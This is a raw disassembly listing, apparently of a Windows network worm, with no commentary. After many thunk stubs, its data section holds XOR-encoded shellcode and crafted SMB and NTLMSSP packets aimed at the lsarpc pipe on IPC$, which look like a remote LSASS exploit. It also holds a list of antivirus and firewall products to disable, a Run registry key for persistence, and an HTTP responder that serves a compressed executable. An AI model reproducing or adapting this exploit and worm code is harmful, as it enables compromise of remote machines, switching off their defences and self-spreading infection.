sub_44070D endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440719 proc near ; CODE XREF: .text:0043F512p
; .text:004403C2p
jmp dword ptr loc_4052C7+5
sub_440719 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440725 proc near ; CODE XREF: .text:0043F4B6p
jmp dword ptr loc_4052CE+2
sub_440725 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 10h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440731 proc near ; CODE XREF: .text:0043F551p
; .text:0043FDE4p
jmp dword ptr loc_4052CE+6
sub_440731 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_44073D proc near ; CODE XREF: .text:0043F52Ep
jmp dword ptr loc_4052D6+2
sub_44073D endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440749 proc near ; CODE XREF: .text:0043F56Ep
jmp dword ptr loc_4052D6+6
sub_440749 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440755 proc near ; CODE XREF: sub_43F017+13p
jmp dword ptr loc_4052DD+3
sub_440755 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 10h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440761 proc near ; CODE XREF: .text:0043F58Cp
; sub_43F725+17Ep
jmp dword ptr loc_4052E4
sub_440761 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_44076D proc near ; CODE XREF: .text:0043F4AAp
; .text:0043F4E4p ...
jmp dword ptr loc_4052E4+4
sub_44076D endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440779 proc near ; CODE XREF: sub_43F725+72p
jmp dword ptr loc_4052E4+8
sub_440779 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440785 proc near ; CODE XREF: sub_43F725+BBp
; sub_43F725+D9p ...
jmp dword ptr loc_4052EE+2
sub_440785 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 10h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440791 proc near ; CODE XREF: .text:0043F612p
; .text:004400DAp ...
jmp dword ptr loc_4052F3+1
sub_440791 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_44079D proc near ; CODE XREF: sub_440126+185p
jmp dword ptr loc_4052F5+3
sub_44079D endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4407A9 proc near ; CODE XREF: sub_4403F5+108p
jmp dword ptr loc_405302+2
sub_4407A9 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4407B5 proc near ; CODE XREF: sub_4403F5+60p
jmp dword ptr loc_405308
sub_4407B5 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 10h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4407C1 proc near ; CODE XREF: sub_4403F5+12Bp
jmp dword ptr loc_405309+3
sub_4407C1 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4407CD proc near ; CODE XREF: sub_4403F5+113p
jmp dword ptr loc_405310
sub_4407CD endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4407D9 proc near ; CODE XREF: sub_4403F5+11Cp
jmp dword ptr loc_405311+3
sub_4407D9 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4407E5 proc near ; CODE XREF: .text:004403CBp
jmp dword ptr loc_405318
sub_4407E5 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 10h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4407F1 proc near ; CODE XREF: sub_4403F5+87p
jmp dword ptr loc_40531A+2
sub_4407F1 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4407FD proc near ; CODE XREF: .text:004403D8p
jmp dword ptr loc_405320
sub_4407FD endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440809 proc near ; CODE XREF: .text:004403EBp
jmp dword ptr loc_405320+4
sub_440809 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440815 proc near ; CODE XREF: sub_440126+C5p
; sub_440126+205p
jmp dword ptr loc_40532D+3
sub_440815 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 10h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440821 proc near ; CODE XREF: sub_440126+6Fp
; sub_440126+82p
jmp dword ptr loc_405332+2
sub_440821 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_44082D proc near ; CODE XREF: sub_440126+BFp
jmp dword ptr loc_405337+1
sub_44082D endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440839 proc near ; CODE XREF: sub_440126+2Cp
jmp dword ptr loc_405339+3
sub_440839 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440845 proc near ; CODE XREF: sub_440126+59p
jmp dword ptr loc_405340
sub_440845 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 10h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440851 proc near ; CODE XREF: sub_440126+1F5p
jmp dword ptr loc_405340+4
sub_440851 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_44085D proc near ; CODE XREF: sub_43F2F9+21p
jmp dword ptr loc_405347+1
sub_44085D endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440869 proc near ; CODE XREF: sub_43F2F9+4Bp
; sub_43F364+40p ...
jmp dword ptr loc_405347+5
sub_440869 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440875 proc near ; CODE XREF: sub_43F364+16p
; sub_440126+1D1p
jmp dword ptr loc_405350
sub_440875 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 10h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440881 proc near ; CODE XREF: sub_43F364+36p
jmp dword ptr loc_405350+4
sub_440881 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_44088D proc near ; CODE XREF: sub_43F2F9+41p
jmp dword ptr loc_405355+3
sub_44088D endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440899 proc near ; CODE XREF: sub_43F239+15p
jmp dword ptr loc_405363+1
sub_440899 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4408A5 proc near ; CODE XREF: .text:0043F1FFp
jmp dword ptr loc_405366+2
sub_4408A5 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 10h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4408B1 proc near ; CODE XREF: .text:0043FE0Ep
; .text:0043FE48p ...
jmp dword ptr loc_40536B+1
sub_4408B1 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4408BD proc near ; CODE XREF: .text:0043F22Ap
jmp dword ptr loc_40536B+5
sub_4408BD endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4408C9 proc near ; CODE XREF: sub_43F725+B2p
; sub_43F725+D0p ...
jmp dword ptr loc_405372+2
sub_4408C9 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4408D5 proc near ; CODE XREF: sub_43F725+16Dp
; sub_43F725+2E4p ...
jmp dword ptr loc_405372+6
sub_4408D5 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 10h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4408E1 proc near ; CODE XREF: .text:0043F180p
jmp dword ptr loc_405379+3
sub_4408E1 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4408ED proc near ; CODE XREF: sub_43F624:loc_43F64Dp
; sub_43F624:loc_43F6A7p ...
jmp dword ptr loc_40537F+1
sub_4408ED endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4408F9 proc near ; CODE XREF: .text:0043F139p
; .text:0043F153p ...
jmp dword ptr loc_40537F+5
sub_4408F9 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440905 proc near ; CODE XREF: .text:0043F43Fp
; sub_43F624+F4p ...
jmp dword ptr loc_405385+3
sub_440905 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 10h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440911 proc near ; CODE XREF: .text:0043FDD2p
jmp dword ptr loc_405385+7
sub_440911 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_44091D proc near ; CODE XREF: sub_43F239+6Bp
; sub_43F239+8Ep ...
jmp dword ptr loc_40538F+1
sub_44091D endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440929 proc near ; CODE XREF: sub_4405FD+17p
jmp dword ptr loc_40538F+5
sub_440929 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 4
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_440935 proc near ; CODE XREF: .text:0043F3F0p
; .text:0043F40Cp
jmp dword ptr loc_405396+2
sub_440935 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
align 10h
dd 17h dup(0)
dd 40300000h, 40311000h, 800000h, 22h dup(0)
dd 5000h, 0
dd 34303400h, 746F4E20h, 756F6620h, 2900646Eh, 0D960413Ah
dd 170A0705h, 27251F1Bh, 2AC9C5ACh, 0DF7F5F3Ch, 746845EBh
dd 2F3A7074h, 3732312Fh, 2 dup(3030302Eh), 3130302Eh, 3030303Ah
dd 662F3038h, 0AEAE6273h, 335DAE62h, 0A0B966C9h, 5758D01h
dd 68AFE8Bh, 575993Ch, 2C068A46h, 99344630h, 0E2470788h
dd 0E80AEBEDh, 0FFFFFFDAh, 99999999h, 41E41499h, 0C9994671h
dd 0C999C999h, 712FE414h, 99C9994Eh, 0F3C999C9h, 0C999F19Dh
dd 99C99989h, 0C999F1C9h, 999CC999h, 0C999F3C9h, 99988B71h
dd 67C999C9h, 10F0E3F3h, 9998931Ch, 0F3C999C9h, 414C999h
dd 0C999989Bh, 71CAC999h, 99C99963h, 0BC999C9h, 10A7C196h
dd 0C999671Ch, 0C999C999h, 9666611Ah, 0C999091Dh, 0C999C999h
dd 0C8C850B2h, 1498F3C8h, 71C941DCh, 99C99936h, 4EC999C9h
dd 1291C0A4h, 0ED599249h, 0C959B2EFh, 14C9C9C9h, 0CBCA2FC4h
dd 0C9990C71h, 0C999C999h, 21E424FFh, 0C7ED5992h, 99F1CDCDh
dd 9CC999C9h, 2C66C999h, 0C9999893h, 71C9C999h, 99C999E3h
dd 0FBC999C9h, 6683B8B0h, 9998932Ch, 66C999C9h, 0C999672Ch
dd 0C999C999h, 0C9991471h, 0C999C999h, 0E7C29C9Bh, 99672C66h
dd 99C999C9h, 99E771C9h, 99C999C9h, 31F1AC9h, 149CF3A4h
dd 99989B04h, 0CAC999C9h, 0C999F571h, 0C999C999h, 7126F434h
dd 71C998F3h, 99C999F9h, 77C999C9h, 14865973h, 496624D4h
dd 0C999CB71h, 0C999C999h, 0EF133BF9h, 0A13729F9h, 0DE9AED9Eh
dd 9E5F6072h, 5AF8C999h, 0C999A9C1h, 2 dup(0C999C999h)
dd 0B7FBEAFFh, 99FCE1FCh, 4 dup(99C999C9h), 0F934C7C9h
dd 25B459AAh, 0C9662A2Ah, 819093ACh, 909CC9B7h, 0C983639Dh
dd 999271CDh, 99C999C9h, 3519BFC9h, 0BDFD1451h, 91720A95h
dd 71F934C7h, 99C999C8h, 12C999C9h, 0D512A5D2h, 529AE180h
dd 8D146FAAh, 0B9C89A2Ah, 4A9A8B12h, 595859AAh, 0DB9BAB9Eh
dd 0C999A319h, 0DDA26CECh, 9EED85BDh, 81E8A2DFh, 125544EBh
dd 4A9ABDC8h, 0EB8D2E96h, 9A85D812h, 99D125Ah, 0DD105A9Ah
dd 10F885BDh, 9998971Ch, 66C999C9h, 0FD7F6649h, 0A98712FEh
dd 0C212C999h, 85C21295h, 0C2128212h, 0FDC65A91h, 0C6EAFAh
dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
dd 0FEFF0000h, 0
dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h
dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h
dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h
dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
dd 0
dd 53FFA400h, 73424Dh, 18000000h, 0C807h, 3 dup(0)
dd 0FEFFh, 0FF0C0010h, 400A400h, 0A11h, 0
dd 2000h, 0D4000000h, 69800000h, 4C544E00h, 5053534Dh
dd 100h, 8829700h, 0E0h, 3 dup(0)
dd 570000h, 6E0069h, 6F0064h, 730077h, 320020h, 300030h
dd 200030h, 310032h, 350039h, 570000h, 6E0069h, 6F0064h
dd 730077h, 320020h, 300030h, 200030h, 2E0035h, 30h, 0
dd 0FFDA0000h, 73424D53h, 0
dd 0C80718h, 3 dup(0)
dd 0FEFF00h, 0C002008h, 0DA00FFh, 0A1104h, 0
dd 570000h, 0
dd 800000D4h, 544E009Fh, 53534D4Ch, 30050h, 10000h, 460001h
dd 0
dd 470000h, 0
dd 400000h, 0
dd 400000h, 60000h, 400006h, 100000h, 470010h, 8A150000h
dd 48E088h, 44004Fh, 6A198100h, 49E4F27Ah, 30AF281Ch, 67107425h
dd 69005753h, 64006E00h, 77006F00h, 20007300h, 30003200h
dd 30003000h, 32002000h, 39003100h, 3500h, 69005700h, 64006E00h
dd 77006F00h, 20007300h, 30003200h, 30003000h, 35002000h
dd 30002E00h, 2 dup(0)
dd 53FF5C00h, 75424Dh, 18000000h, 0C807h, 3 dup(0)
dd 800FEFFh, 0FF040030h, 8005C00h, 31000100h, 5C0000h
dd 31005Ch, 320039h, 31002Eh, 380036h, 31002Eh, 32002Eh
dd 300031h, 49005Ch, 430050h, 24h, 3F3F3F3Fh, 3Fh, 0FF640000h
dd 0A2424D53h, 0
dd 0C80718h, 3 dup(0)
dd 4DC08h, 18004008h, 0DEDE00FFh, 16000E00h, 0
dd 9F000000h, 201h, 2 dup(0)
dd 3000000h, 1000000h, 40000000h, 2000000h, 3000000h, 5C000011h
dd 73006C00h, 72006100h, 63007000h, 0
dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0C000000h
dd 4D53FFF4h, 2542h, 7180000h, 0C8h, 2 dup(0)
dd 0DC080000h, 60080004h, 1000h, 0CA0h, 400h, 2 dup(0)
dd 540000h, 540CA0h, 260002h, 0CB14000h, 50005C10h, 50004900h
dd 5C004500h, 0
dd 500h, 1003h, 0CA000h, 100h, 0C8800h, 9000000h, 3EC00h
dd 0
dd 3EC00h, 14950000h, 30040h, 707C0000h, 10040h, 0
dd 10000h, 0
dd 10000h, 0
dd 10000h, 0
dd 10000h, 0
dd 10000h, 0
dd 10000h, 0
dd 10000h, 0
dd 707C0000h, 10040h, 0
dd 10000h, 0
dd 707C0000h, 10040h, 0
dd 10000h, 0
dd 707C0000h, 10040h, 0
dd 10000h, 0
dd 85780000h, 5BAB0013h, 0E9A6h, 0FFF81000h, 2F424D53h
dd 0
dd 0C80718h, 3 dup(0)
db 8, 0FFh
dw 0FEh
dd 0E006008h, 0DEDE00FFh, 4000h, 0FFFF0000h, 8FFFFh, 10B8h
dd 4010B8h, 0
dd 5EE10B9h, 10010000h, 0B8000000h, 1000010h, 0C000000h
dd 20h, 0AD000900h, 0Dh, 0AD000000h, 0Dh, 0D80F0000h, 424D53FFh
dd 25h, 0C8071800h, 3 dup(0)
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dd 40A89A00h, 100h, 0
dd 100h, 0
dd 100h, 0
dd 100h, 0
dd 100h, 0
dd 100h, 0
dd 100h, 0
dd 100h, 0
dd 40A89A00h, 100h, 0
dd 100h, 0
dd 40A89A00h, 100h, 0
dd 100h, 0
dd 40A89A00h, 100h, 0
dd 100h, 10h dup(0)
dd 460000h, 101h, 0Dh dup(0)
dd 15123C00h, 275h, 0Dh dup(0)
dd 1C123C00h, 75h, 0Eh dup(0)
dd 0EC816600h, 0E4FF071Ch, 100h, 404CF700h, 404CE900h
dd 200h, 180h, 404CF700h, 404CE000h, 100h, 180h, 404CF700h
dd 404CCF00h, 200h, 80h, 0
dd 404CB500h, 0
dd 404C9C00h, 2 dup(0)
dd 404C8C00h, 2 dup(0)
dd 404C8200h, 2 dup(0)
dd 404C6900h, 2 dup(0)
dd 404C5000h, 2 dup(0)
dd 404C4300h, 2 dup(0)
dd 404C3300h, 100h, 0
dd 404C2C00h, 100h, 4049F800h, 404C2400h, 100h, 0
dd 404C1900h, 2 dup(0)
dd 404C1200h, 100h, 0
dd 404C0C00h, 100h, 0
dd 404C0300h, 100h, 0
dd 404BFC00h, 100h, 0
dd 404BF300h, 100h, 0
dd 404BEC00h, 100h, 0
dd 404BE500h, 100h, 0
dd 404BDD00h, 100h, 0
dd 404BD700h, 100h, 404A0800h, 404BD000h, 100h, 0
dd 404BC800h, 100h, 0
dd 404BC100h, 100h, 0
dd 404BBB00h, 100h, 0
dd 404BB200h, 100h, 404A1800h, 404BAD00h, 100h, 0
dd 404BA800h, 100h, 404A2800h, 404BA200h, 100h, 0
dd 524F5700h, 6669004Dh, 6F530063h, 61777466h, 4D5C6572h
dd 6F726369h, 74666F73h, 6E69575Ch, 73776F64h, 6B005C00h
dd 6469706Ch, 706C6B00h, 6C6B0066h, 76006669h, 74616473h
dd 746E61h, 6F6D7376h, 6D6B006Eh, 78627378h, 786D6B00h
dd 7369646Eh, 786D6B00h, 736469h, 66786D6Bh, 6D6B0077h
dd 6C696678h, 6D6B0065h, 67666378h, 786D6B00h, 676962h
dd 61786D6Bh, 746E6567h, 786D5500h, 676643h, 41786D55h
dd 746E6567h, 786D5500h, 5500554Ch, 6F50786Dh, 6D53006Ch
dd 72655363h, 65636976h, 69667300h, 7265746Ch, 736E6C00h
dd 317766h, 7074754Fh, 4674736Fh, 77657269h, 6C6C61h, 72616873h
dd 63616465h, 73736563h, 41634D00h, 20656566h, 6D617246h
dd 726F7765h, 6553206Bh, 63697672h, 65440065h, 74636574h
dd 6420726Fh, 664F2065h, 65636966h, 6E616353h, 5A00544Eh
dd 41656E6Fh, 6D72616Ch, 6E615000h, 41206164h, 7669746Eh
dd 73757269h, 726F4E00h, 206E6F74h, 69746E41h, 75726976h
dd 65532073h, 63697672h, 614B0065h, 72657073h, 20796B73h
dd 69746E41h, 6361482Dh, 2E72656Bh, 6B6E6Ch, 656E6F5Ah
dd 62614C20h, 6C432073h, 746E6569h, 6F4D4100h, 6F74696Eh
dd 6F4C0072h, 27206B6Fh, 5320276Eh, 706F74h, 54464F53h
dd 45524157h, 63694D5Ch, 6F736F72h, 575C7466h, 6F646E69h
dd 435C7377h, 65727275h, 6556746Eh, 6F697372h, 75525C6Eh
dd 78006Eh, 253A7325h, 31002F75h, 312E3239h, 252E3836h
dd 75252E75h, 32373100h, 2E75252Eh, 252E7525h, 30310075h
dd 2E75252Eh, 252E7525h, 6EB0075h, 5C0006EBh, 5C73255Ch
dd 24637069h, 2E752500h, 252E7525h, 75252E75h, 54544800h
dd 2E312F50h, 30322031h, 4B4F2030h, 0A0D0A0Dh, 43000A0Dh
dd 65746E6Fh, 4C2D746Eh, 74676E65h, 25203A68h, 0D0A0D75h
dd 5448000Ah, 312F5054h, 3220312Eh, 4F203030h, 430A0D4Bh
dd 65746E6Fh, 542D746Eh, 3A657079h, 70706120h, 6163696Ch
dd 6E6F6974h, 652D782Fh, 632D6578h, 72706D6Fh, 65737365h
dd 0A0D64h, 787878h, 544547h, 300050h, 6 dup(0)
dd 50F400h, 2 dup(0)
dd 57F400h, 524C00h, 513800h, 2 dup(0)
dd 583C00h, 529000h, 514400h, 2 dup(0)
dd 584C00h, 529C00h, 515000h, 2 dup(0)
dd 585C00h, 52A800h, 51AC00h, 2 dup(0)
dd 58C000h, 530400h, 51D800h, 2 dup(0)
dd 58F000h, 533000h, 520C00h, 2 dup(0)
dd 592C00h, 536400h, 1Ah dup(0)
dd 53A000h, 53B000h, 53BC00h, 53C400h, 53D400h, 53E000h
dd 53F000h, 540000h, 540800h, 541400h, 542000h, 542C00h
dd 543400h, 543C00h, 544800h, 2 dup(0)
dd 545400h, 2 dup(0)
dd 547000h, 2 dup(0)
dd 548C00h, 549C00h, 54B000h, 54C800h, 54D800h, 54EC00h
dd 54FC00h, 550C00h, 551C00h, 553000h, 554800h, 556000h
dd 557000h, 558000h, 558C00h, 559800h, 55A800h, 55B000h
dd 55BC00h, 55C800h, 55D800h, 2 dup(0)
dd 55E800h, 55F400h, 560800h, 561800h, 562C00h, 564000h
dd 565400h, 566800h, 567800h, 2 dup(0)
dd 568C00h, 56A400h, 56B800h, 56C800h, 56DC00h, 56EC00h
dd 570000h, 571400h, 572400h, 573400h, 574800h, 2 dup(0)
dd 575C00h, 576400h, 577400h, 578000h, 578800h, 579400h
dd 57A000h, 57A800h, 57B000h, 57BC00h, 57C800h, 57D000h
dd 57DC00h, 57E800h, 2 dup(0)
dd 53A000h, 53B000h, 53BC00h, 53C400h, 53D400h, 53E000h
dd 53F000h, 540000h, 540800h, 541400h, 542000h, 542C00h
dd 543400h, 543C00h, 544800h, 2 dup(0)
dd 545400h, 2 dup(0)
dd 547000h, 2 dup(0)
dd 548C00h, 549C00h, 54B000h, 54C800h, 54D800h, 54EC00h
dd 54FC00h, 550C00h, 551C00h, 553000h, 554800h, 556000h
dd 557000h, 558000h, 558C00h, 559800h, 55A800h, 55B000h
dd 55BC00h, 55C800h, 55D800h, 2 dup(0)
dd 55E800h, 55F400h, 560800h, 561800h, 562C00h, 564000h
dd 565400h, 566800h, 567800h, 2 dup(0)
dd 568C00h, 56A400h, 56B800h, 56C800h, 56DC00h, 56EC00h
dd 570000h, 571400h, 572400h, 573400h, 574800h, 2 dup(0)
dd 575C00h, 576400h, 577400h, 578000h, 578800h, 579400h
dd 57A000h, 57A800h, 57B000h, 57BC00h, 57C800h, 57D000h
dd 57DC00h, 57E800h, 0
dd 57003000h, 74534153h, 75747261h, 70h, 61003500h, 70656363h
dd 74h, 62003600h, 646E69h, 63003700h, 65736F6Ch, 6B636F73h
dd 7465h, 63003800h, 656E6E6Fh, 7463h, 67003B00h, 6F687465h
dd 79627473h, 656D616Eh, 67003C00h, 6F687465h, 616E7473h
dd 656Dh, 68004600h, 736E6F74h, 69004700h, 5F74656Eh, 72646461h
dd 69004900h, 5F74656Eh, 616F746Eh, 6C004B00h, 65747369h
dd 6Eh, 72004F00h, 766365h, 73005500h, 646E65h, 73005900h
dd 64747568h, 6E776Fh, 73005A00h, 656B636Fh, 74h, 49008100h
dd 7265746Eh, 4774656Eh, 6F437465h, 63656E6Eh, 53646574h
dd 65746174h, 53004F00h, 74654748h, 63657053h, 466C6169h
dd 65646C6Fh, 74615072h, 4168h, 45008200h, 54746978h, 61657268h
dd 64h, 4700CA00h, 6F437465h, 6E616D6Dh, 6E694C64h, 4165h
dd 4700DE00h, 75437465h, 6E657272h, 6F725074h, 73736563h
dd 6449h, 4700F800h, 69467465h, 6953656Ch, 657Ah, 47010C00h
dd 6F4D7465h, 656C7564h, 646E6148h, 41656Ch, 43001B00h
dd 65736F6Ch, 646E6148h, 656Ch, 47015500h, 69547465h, 6F436B63h
dd 746E75h, 47015C00h, 65567465h, 6F697372h, 6Eh, 47016800h
dd 61626F6Ch, 6464416Ch, 6D6F7441h, 41h, 49019200h, 7265746Eh
dd 6B636F6Ch, 78456465h, 6E616863h, 6567h, 49019400h, 7265746Eh
dd 6B636F6Ch, 6E496465h, 6D657263h, 746E65h, 4C01AD00h
dd 6C61636Fh, 6F6C6C41h, 63h, 43003100h, 74616572h, 6C694665h
dd 4165h, 5201FA00h, 46646165h, 656C69h, 52020E00h, 6E556C74h
dd 646E6977h, 52020F00h, 655A6C74h, 654D6F72h, 79726F6Dh
dd 53026400h, 7065656Ch, 6C02C600h, 63727473h, 416E7970h
dd 6C02C900h, 6C727473h, 416E65h, 43004700h, 74616572h
dd 72685465h, 646165h, 44005400h, 74656C65h, 6C694665h
dd 4165h, 5300FE00h, 69547465h, 72656Dh, 52000200h, 73696765h
dd 43726574h, 7373616Ch, 41h, 47002000h, 654D7465h, 67617373h
dd 4165h, 54002400h, 736E6172h, 6574616Ch, 7373654Dh, 656761h
dd 44002500h, 61707369h, 4D686374h, 61737365h, 416567h
dd 50003D00h, 5174736Fh, 4D746975h, 61737365h, 6567h, 43004F00h
dd 74616572h, 6E695765h, 45776F64h, 4178h, 44005100h, 72747365h
dd 6957796Fh, 776F646Eh, 44005B00h, 69576665h, 776F646Eh
dd 636F7250h, 41h, 4300BF00h, 65736F6Ch, 76726553h, 48656369h
dd 6C646E61h, 65h, 4300C000h, 72746E6Fh, 65536C6Fh, 63697672h
dd 65h, 4400C300h, 74656C65h, 72655365h, 65636976h, 4F00D100h
dd 536E6570h, 6E614D43h, 72656761h, 41h, 4F00D300h, 536E6570h
dd 69767265h, 416563h, 52016700h, 65446765h, 6574656Ch
dd 756C6156h, 4165h, 52017100h, 72436765h, 65746165h, 4579654Bh
dd 4178h, 52017400h, 6C436765h, 4B65736Fh, 7965h, 52017900h
dd 704F6765h, 654B6E65h, 41784579h, 52018400h, 75516765h
dd 56797265h, 65756C61h, 417845h, 52019000h, 65536765h
dd 6C615674h, 78456575h, 41h, 5F00E800h, 616F7469h, 5F001800h
dd 7465475Fh, 6E69614Dh, 73677241h, 5F018100h, 65656C73h
dd 70h, 65020A00h, 746978h, 6D025400h, 70636D65h, 79h
dd 6D025600h, 65736D65h, 74h, 72026000h, 65736961h, 72026100h
dd 646E61h, 73026A00h, 616E6769h, 6Ch, 73026D00h, 6E697270h
dd 6674h, 73026F00h, 646E6172h, 73027100h, 61637274h, 74h
dd 73027200h, 68637274h, 72h, 73028000h, 74737274h, 72h
dd 6F737700h, 32336B63h, 6C6C642Eh, 0Fh dup(40500000h)
dd 4E495700h, 54454E49h, 4C4C442Eh, 40501400h, 45485300h
dd 32334C4Ch, 4C4C442Eh, 40502800h, 52454B00h, 334C454Eh
dd 4C442E32h, 4Ch, 15h dup(40503C00h), 45535500h, 2E323352h
dd 4C4C44h, 9 dup(40505000h), 56444100h, 33495041h, 4C442E32h
dd 4Ch, 0Bh dup(40506400h), 54524300h, 2E4C4C44h, 4C4C44h
dd 0Eh dup(40507800h), 25h dup(0)
dd 2000h, 0
dd 2000h, 100000h, 2A0000h, 300000h, 480000h
db 2 dup(0)
word_4421BE dw 817Ch ; DATA XREF: sub_40399B+19o
db 0
byte_4421C1 db 0 ; DATA XREF: sub_403A5F+17o
word_4421C2 dw 6960h ; DATA XREF: sub_403A5F+44o
